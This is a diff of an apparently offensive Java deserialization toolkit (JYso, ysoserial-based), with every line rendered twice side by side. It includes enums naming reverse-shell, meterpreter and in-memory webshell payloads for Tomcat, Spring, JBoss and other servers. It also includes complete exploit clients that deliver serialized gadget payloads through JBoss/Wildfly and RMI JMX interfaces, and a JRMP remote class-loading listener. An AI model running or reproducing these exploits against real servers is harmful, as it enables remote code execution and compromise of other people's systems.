public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
base = base.replace('\\', '/'); base = base.replace('\\', '/');
int index = base.indexOf('/'); int index = base.indexOf('/');
if (index != -1) { if (index != -1) {
path = base.substring(index); path = base.substring(index);
} }
} }
} }
@@ -1,39 +1,39 @@
package com.qi4l.JYso.controllers.utils; package com.qi4l.JYso.controllers.utils;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.Base64; import java.util.Base64;
public class JNDIUtils { public class JNDIUtils {
private static final String ALGORITHM = "AES"; private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding"; private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
private static final int KEY_SIZE = 16; private static final int KEY_SIZE = 16;
public static String decrypt(String ciphertext, String key) throws Exception { public static String decrypt(String ciphertext, String key) throws Exception {
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext); byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
byte[] ivBytes = new byte[KEY_SIZE]; byte[] ivBytes = new byte[KEY_SIZE];
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE]; byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE); System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length); System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
byte[] keyBytes = getKeyBytes(key); byte[] keyBytes = getKeyBytes(key);
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM); SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes); IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(TRANSFORMATION); Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec); cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes); byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, StandardCharsets.UTF_8); return new String(decryptedBytes, StandardCharsets.UTF_8);
} }
private static byte[] getKeyBytes(String key) { private static byte[] getKeyBytes(String key) {
byte[] keyBytes = new byte[KEY_SIZE]; byte[] keyBytes = new byte[KEY_SIZE];
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8); byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length)); System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
return keyBytes; return keyBytes;
} }
} }
@@ -1,8 +1,8 @@
package com.qi4l.JYso.enumtypes; package com.qi4l.JYso.enumtypes;
public enum GadgetType { public enum GadgetType {
base64Two, base64Two,
msf, msf,
base64, base64,
shell, shell,
} }
@@ -1,47 +1,47 @@
package com.qi4l.JYso.enumtypes; package com.qi4l.JYso.enumtypes;
public enum PayloadType { public enum PayloadType {
sethttp, sethttp,
dnslog, dnslog,
tomcatupgrade, tomcatupgrade,
command, command,
reverseshell, reverseshell,
tomcatecho, tomcatecho,
springecho, springecho,
weblogicecho, weblogicecho,
windowsecho, windowsecho,
linuxecho2, linuxecho2,
linuxecho1, linuxecho1,
allecho, allecho,
websphereecho, websphereecho,
resinecho, resinecho,
tomcatfilterjmx, tomcatfilterjmx,
tomcatfilterth, tomcatfilterth,
tomcatlistenerjmx, tomcatlistenerjmx,
tomcatlistenerth, tomcatlistenerth,
tomcatservletjmx, tomcatservletjmx,
tomcatservletth, tomcatservletth,
jbossfilter, jbossfilter,
jbossservlet, jbossservlet,
webspherememshell, webspherememshell,
springinterceptor, springinterceptor,
springcontroller, springcontroller,
issuccess, issuccess,
jettyfilter, jettyfilter,
jettyservlet, jettyservlet,
struts2actionms, struts2actionms,
wsfilter, wsfilter,
tomcatexecutor, tomcatexecutor,
meterpreter, meterpreter,
resinfilterth, resinfilterth,
resinservletth, resinservletth,
jbossecho, jbossecho,
jettyecho, jettyecho,
cmsmsbync, cmsmsbync,
proxymsbync, proxymsbync,
wsresin, wsresin,
mstsjproxy, mstsjproxy,
mstsjser, mstsjser,
wsweblogic, wsweblogic,
wswebsphereproxy, wswebsphereproxy,
} }
@@ -1,7 +1,7 @@
package com.qi4l.JYso.enumtypes; package com.qi4l.JYso.enumtypes;
public enum WebsphereActionType { public enum WebsphereActionType {
list, list,
upload, upload,
rce; rce;
} }
@@ -1,11 +1,11 @@
package com.qi4l.JYso.exceptions; package com.qi4l.JYso.exceptions;
public class IncorrectParamsException extends RuntimeException { public class IncorrectParamsException extends RuntimeException {
public IncorrectParamsException() { public IncorrectParamsException() {
super(); super();
} }
public IncorrectParamsException(String message) { public IncorrectParamsException(String message) {
super(message); super(message);
} }
} }
@@ -1,11 +1,11 @@
package com.qi4l.JYso.exceptions; package com.qi4l.JYso.exceptions;
public class UnSupportedActionTypeException extends RuntimeException { public class UnSupportedActionTypeException extends RuntimeException {
public UnSupportedActionTypeException() { public UnSupportedActionTypeException() {
super(); super();
} }
public UnSupportedActionTypeException(String message) { public UnSupportedActionTypeException(String message) {
super(message); super(message);
} }
} }
@@ -1,11 +1,11 @@
package com.qi4l.JYso.exceptions; package com.qi4l.JYso.exceptions;
public class UnSupportedGadgetTypeException extends RuntimeException { public class UnSupportedGadgetTypeException extends RuntimeException {
public UnSupportedGadgetTypeException() { public UnSupportedGadgetTypeException() {
super(); super();
} }
public UnSupportedGadgetTypeException(String message) { public UnSupportedGadgetTypeException(String message) {
super(message); super(message);
} }
} }
@@ -1,11 +1,11 @@
package com.qi4l.JYso.exceptions; package com.qi4l.JYso.exceptions;
public class UnSupportedPayloadTypeException extends RuntimeException { public class UnSupportedPayloadTypeException extends RuntimeException {
public UnSupportedPayloadTypeException() { public UnSupportedPayloadTypeException() {
super(); super();
} }
public UnSupportedPayloadTypeException(String message) { public UnSupportedPayloadTypeException(String message) {
super(message); super(message);
} }
} }
+376 -376
View File
@@ -1,376 +1,376 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.jboss.remoting3.*; import org.jboss.remoting3.*;
import org.jboss.remoting3.Connection; import org.jboss.remoting3.Connection;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory; import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.*; import org.jboss.remoting3.spi.*;
import org.jboss.remotingjmx.VersionedConnection; import org.jboss.remotingjmx.VersionedConnection;
import org.xnio.*; import org.xnio.*;
import org.xnio.IoFuture.Status; import org.xnio.IoFuture.Status;
import org.xnio.ssl.JsseXnioSsl; import org.xnio.ssl.JsseXnioSsl;
import org.xnio.ssl.XnioSsl; import org.xnio.ssl.XnioSsl;
import javax.management.*; import javax.management.*;
import javax.management.remote.JMXServiceURL; import javax.management.remote.JMXServiceURL;
import javax.security.auth.callback.*; import javax.security.auth.callback.*;
import javax.security.sasl.RealmCallback; import javax.security.sasl.RealmCallback;
import java.io.IOException; import java.io.IOException;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.net.MalformedURLException; import java.net.MalformedURLException;
import java.net.SocketAddress; import java.net.SocketAddress;
import java.net.URI; import java.net.URI;
import java.security.KeyManagementException; import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException; import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException; import java.security.NoSuchProviderException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.concurrent.*; import java.util.concurrent.*;
import java.util.logging.*; import java.util.logging.*;
/** /**
* An exploitation client for JBoss AS/Wildfly JMX * An exploitation client for JBoss AS/Wildfly JMX
* <p> * <p>
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol. * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
* <p> * <p>
* This is not as readily exploitable as in other pieces of software: * This is not as readily exploitable as in other pieces of software:
* 1. they only allow authenticated access by default * 1. they only allow authenticated access by default
* 2. they have a very strict module architecture: * 2. they have a very strict module architecture:
* - all MBeans exported by default use classloaders that expose almost nothing useful * - all MBeans exported by default use classloaders that expose almost nothing useful
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
* <p> * <p>
* This client enumerates all application exported MBean method which are then called * This client enumerates all application exported MBean method which are then called
* delivering the specified payload. * delivering the specified payload.
* <p> * <p>
* I.e. you can successfully exploit that * I.e. you can successfully exploit that
* - you have access to the interface * - you have access to the interface
* (username/password can be specified via URL, note: despite not noticeable, * (username/password can be specified via URL, note: despite not noticeable,
* local connections implicitly use authentication) * local connections implicitly use authentication)
* - there is an application exported MBean * - there is an application exported MBean
* - that application imports the classes required for the gadget chain * - that application imports the classes required for the gadget chain
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings({ @SuppressWarnings({
"rawtypes" "rawtypes"
}) })
public class JBoss { public class JBoss {
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
if (args.length < 5) { if (args.length < 5) {
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> "); System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
System.exit(-1); System.exit(-1);
} }
URI u = URI.create(args[0]); URI u = URI.create(args[0]);
// 去除前一个参数 // 去除前一个参数
String[] newArray = new String[args.length - 1]; String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length); System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray); ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD; Object payloadObject = ysoserial.PAYLOAD;
String username = null; String username = null;
String password = null; String password = null;
if (u.getUserInfo() != null) { if (u.getUserInfo() != null) {
int sep = u.getUserInfo().indexOf(':'); int sep = u.getUserInfo().indexOf(':');
if (sep >= 0) { if (sep >= 0) {
username = u.getUserInfo().substring(0, sep); username = u.getUserInfo().substring(0, sep);
password = u.getUserInfo().substring(sep + 1); password = u.getUserInfo().substring(sep + 1);
} else { } else {
System.err.println("Need <user>:<password>@"); System.err.println("Need <user>:<password>@");
System.exit(-1); System.exit(-1);
} }
} }
doRun(u, payloadObject, username, password); doRun(u, payloadObject, username, password);
} }
private static void doRun(URI u, final Object payloadObject, String username, String password) { private static void doRun(URI u, final Object payloadObject, String username, String password) {
ConnectionProvider instance = null; ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null; ConnectionProviderContextImpl context = null;
ConnectionHandler ch = null; ConnectionHandler ch = null;
Channel c = null; Channel c = null;
VersionedConnection vc = null; VersionedConnection vc = null;
try { try {
Logger logger = LogManager.getLogManager().getLogger(""); Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler()); logger.addHandler(new ConsoleLogHandler());
logger.setLevel(Level.INFO); logger.setLevel(Level.INFO);
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap(); OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint"); context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options); instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
String host = u.getHost(); String host = u.getHost();
int port = u.getPort() > 0 ? u.getPort() : 9990; int port = u.getPort() > 0 ? u.getPort() : 9990;
SocketAddress destination = new InetSocketAddress(host, port); SocketAddress destination = new InetSocketAddress(host, port);
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context)); ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options); c = getChannel(context, ch, options);
System.err.println("Connected"); System.err.println("Connected");
vc = makeVersionedConnection(c); vc = makeVersionedConnection(c);
MBeanServerConnection mbc = vc.getMBeanServerConnection(null); MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
doExploit(payloadObject, mbc); doExploit(payloadObject, mbc);
System.err.println("DONE"); System.err.println("DONE");
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} finally { } finally {
cleanup(instance, context, ch, c, vc); cleanup(instance, context, ch, c, vc);
} }
} }
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c, private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
VersionedConnection vc) { VersionedConnection vc) {
if (vc != null) { if (vc != null) {
vc.close(); vc.close();
} }
if (c != null) { if (c != null) {
try { try {
c.close(); c.close();
} catch (IOException e) { } catch (IOException e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
if (ch != null) { if (ch != null) {
try { try {
ch.close(); ch.close();
} catch (IOException e) { } catch (IOException e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
if (instance != null) { if (instance != null) {
try { try {
instance.close(); instance.close();
} catch (IOException e) { } catch (IOException e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
if (context != null) { if (context != null) {
context.getXnioWorker().shutdown(); context.getXnioWorker().shutdown();
} }
} }
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password, private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options) ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
FutureResult<ConnectionHandlerFactory> result = new FutureResult<>(); FutureResult<ConnectionHandlerFactory> result = new FutureResult<>();
instance.connect(null, destination, options, result, callbacks -> { instance.connect(null, destination, options, result, callbacks -> {
for (Callback cb : callbacks) { for (Callback cb : callbacks) {
if (cb instanceof NameCallback) { if (cb instanceof NameCallback) {
((NameCallback) cb).setName(username); ((NameCallback) cb).setName(username);
} else if (cb instanceof PasswordCallback) { } else if (cb instanceof PasswordCallback) {
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]); ((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
} else if (!(cb instanceof RealmCallback)) { } else if (!(cb instanceof RealmCallback)) {
System.err.println(cb); System.err.println(cb);
throw new UnsupportedCallbackException(cb); throw new UnsupportedCallbackException(cb);
} }
} }
}, xnioSsl); }, xnioSsl);
System.err.println("waiting for connection"); System.err.println("waiting for connection");
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture(); IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
Status s = ioFuture.await(5, TimeUnit.SECONDS); Status s = ioFuture.await(5, TimeUnit.SECONDS);
if (s == Status.FAILED) { if (s == Status.FAILED) {
System.err.println("Cannot connect"); System.err.println("Cannot connect");
if (ioFuture.getException() != null) { if (ioFuture.getException() != null) {
ioFuture.getException().printStackTrace(System.err); ioFuture.getException().printStackTrace(System.err);
} }
} else if (s != Status.DONE) { } else if (s != Status.DONE) {
ioFuture.cancel(); ioFuture.cancel();
System.err.println("Connect timeout"); System.err.println("Connect timeout");
System.exit(-1); System.exit(-1);
} }
return ioFuture.getInterruptibly(); return ioFuture.getInterruptibly();
} }
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException { private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
Channel c; Channel c;
FutureResult<Channel> chResult = new FutureResult<>(context.getExecutor()); FutureResult<Channel> chResult = new FutureResult<>(context.getExecutor());
ch.open("jmx", chResult, options); ch.open("jmx", chResult, options);
IoFuture<Channel> cFuture = chResult.getIoFuture(); IoFuture<Channel> cFuture = chResult.getIoFuture();
Status s2 = cFuture.await(); Status s2 = cFuture.await();
if (s2 == Status.FAILED) { if (s2 == Status.FAILED) {
System.err.println("Cannot connect"); System.err.println("Cannot connect");
if (cFuture.getException() != null) { if (cFuture.getException() != null) {
throw new IOException("Connect failed", cFuture.getException()); throw new IOException("Connect failed", cFuture.getException());
} }
} else if (s2 != Status.DONE) { } else if (s2 != Status.DONE) {
cFuture.cancel(); cFuture.cancel();
throw new IOException("Connect timeout"); throw new IOException("Connect timeout");
} }
c = cFuture.get(); c = cFuture.get();
return c; return c;
} }
private static VersionedConnection makeVersionedConnection(Channel c) private static VersionedConnection makeVersionedConnection(Channel c)
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc; VersionedConnection vc;
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
Reflections.setAccessible(vcCreate); Reflections.setAccessible(vcCreate);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc; return vc;
} }
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc) private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException { throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
Object[] params = new Object[1]; Object[] params = new Object[1];
params[0] = payloadObject; params[0] = payloadObject;
System.err.println("Querying MBeans"); System.err.println("Querying MBeans");
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null); Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
System.err.println("Found " + testMBeans.size() + " MBeans"); System.err.println("Found " + testMBeans.size() + " MBeans");
for (ObjectInstance oi : testMBeans) { for (ObjectInstance oi : testMBeans) {
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName()); MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) { for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
try { try {
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{}); mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS"); System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
return; return;
} catch (Throwable e) { } catch (Throwable e) {
String msg = e.getMessage(); String msg = e.getMessage();
if (msg.startsWith("java.lang.ClassNotFoundException:")) { if (msg.startsWith("java.lang.ClassNotFoundException:")) {
int start = msg.indexOf('"'); int start = msg.indexOf('"');
int stop = msg.indexOf('"', start + 1); int stop = msg.indexOf('"', start + 1);
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>"; String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) { if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
int c_start = msg.indexOf(':'); int c_start = msg.indexOf(':');
int c_end = msg.indexOf(' ', c_start + 2); int c_end = msg.indexOf(' ', c_start + 2);
String cls = msg.substring(c_start + 2, c_end); String cls = msg.substring(c_start + 2, c_end);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")"); System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")");
} }
} else { } else {
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg); System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
return; return;
} }
} }
} }
} }
} }
private static final class ConsoleLogHandler extends Handler { private static final class ConsoleLogHandler extends Handler {
@Override @Override
public void publish(LogRecord record) { public void publish(LogRecord record) {
System.err.println(record.getMessage()); System.err.println(record.getMessage());
} }
@Override @Override
public void flush() { public void flush() {
} }
@Override @Override
public void close() throws SecurityException { public void close() throws SecurityException {
} }
} }
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private final ConnectionProviderContextImpl context; private final ConnectionProviderContextImpl context;
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) { public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
this.context = context; this.context = context;
} }
public void remoteClosed() { public void remoteClosed() {
} }
public OpenListener getServiceOpenListener(String serviceType) { public OpenListener getServiceOpenListener(String serviceType) {
return null; return null;
} }
public RegisteredService getRegisteredService(String serviceType) { public RegisteredService getRegisteredService(String serviceType) {
return null; return null;
} }
public ConnectionProviderContext getConnectionProviderContext() { public ConnectionProviderContext getConnectionProviderContext() {
return this.context; return this.context;
} }
public Connection getConnection() { public Connection getConnection() {
return null; return null;
} }
} }
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext { private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
private final XnioWorker worker; private final XnioWorker worker;
private final ExecutorService executor; private final ExecutorService executor;
private final Xnio instance; private final Xnio instance;
private final Endpoint endpoint; private final Endpoint endpoint;
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException { public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
this.instance = Xnio.getInstance(); this.instance = Xnio.getInstance();
this.worker = this.instance.createWorker(opts); this.worker = this.instance.createWorker(opts);
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts); this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
this.executor = Executors.newCachedThreadPool(r -> { this.executor = Executors.newCachedThreadPool(r -> {
Thread t = new Thread(r, "Worker"); Thread t = new Thread(r, "Worker");
t.setDaemon(true); t.setDaemon(true);
return t; return t;
}); });
} }
public XnioWorker getXnioWorker() { public XnioWorker getXnioWorker() {
return this.worker; return this.worker;
} }
public Xnio getXnio() { public Xnio getXnio() {
return this.instance; return this.instance;
} }
public Executor getExecutor() { public Executor getExecutor() {
return this.executor; return this.executor;
} }
public Endpoint getEndpoint() { public Endpoint getEndpoint() {
return this.endpoint; return this.endpoint;
} }
public void accept(ConnectionHandlerFactory connectionHandlerFactory) { public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
System.err.println("accept"); System.err.println("accept");
} }
} }
} }
@@ -1,43 +1,43 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import javax.management.MBeanServerConnection; import javax.management.MBeanServerConnection;
import javax.management.ObjectName; import javax.management.ObjectName;
import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL; import javax.management.remote.JMXServiceURL;
/** /**
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*/ */
public class JMXInvokeMBean { public class JMXInvokeMBean {
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
if (args.length < 6) { if (args.length < 6) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>"); System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
System.exit(-1); System.exit(-1);
} }
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url); JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// 去除前两个参数 // 去除前两个参数
String[] newArray = new String[args.length - 2]; String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length); System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray); ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD; Object payloadObject = ysoserial.PAYLOAD;
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection //close the connection
jmxConnector.close(); jmxConnector.close();
} }
} }
@@ -1,48 +1,48 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.JRMPClient; import com.qi4l.JYso.gadgets.JRMPClient;
import java.net.URL; import java.net.URL;
/** /**
* JRMP listener triggering RMI remote classloading * JRMP listener triggering RMI remote classloading
* <p> * <p>
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client. * Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
* <p> * <p>
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link JRMPClient}. * access to an RMI socket when you can deliver {@link JRMPClient}.
* <p> * <p>
* This only works if * This only works if
* - the remote end is running with a security manager * - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21) * - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission) * - the remote has the proper permissions to remotely load the class (mostly URLPermission)
* <p> * <p>
* and, of course, the payload class is then run under the security manager with a remote codebase * and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine * so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time). * with a security manager bypass exploit (wouldn't be the first time).
* *
* @author mbechler * @author mbechler
*/ */
public class JRMPClassLoadingListener { public class JRMPClassLoadingListener {
public static void main(final String[] args) { public static void main(final String[] args) {
if (args.length < 3) { if (args.length < 3) {
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>"); System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
System.exit(-1); System.exit(-1);
return; return;
} }
try { try {
int port = Integer.parseInt(args[0]); int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port); System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
c.run(); c.run();
} catch (Exception e) { } catch (Exception e) {
System.err.println("Listener error"); System.err.println("Listener error");
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
} }
@@ -1,132 +1,132 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import sun.rmi.transport.TransportConstants; import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory; import javax.net.SocketFactory;
import java.io.DataOutputStream; import java.io.DataOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.ObjectOutputStream; import java.io.ObjectOutputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.net.*; import java.net.*;
/** /**
* Generic JRMP client * Generic JRMP client
* <p> * <p>
* Pretty much the same thing as {@link RMIBindExploit} but * Pretty much the same thing as {@link RMIBindExploit} but
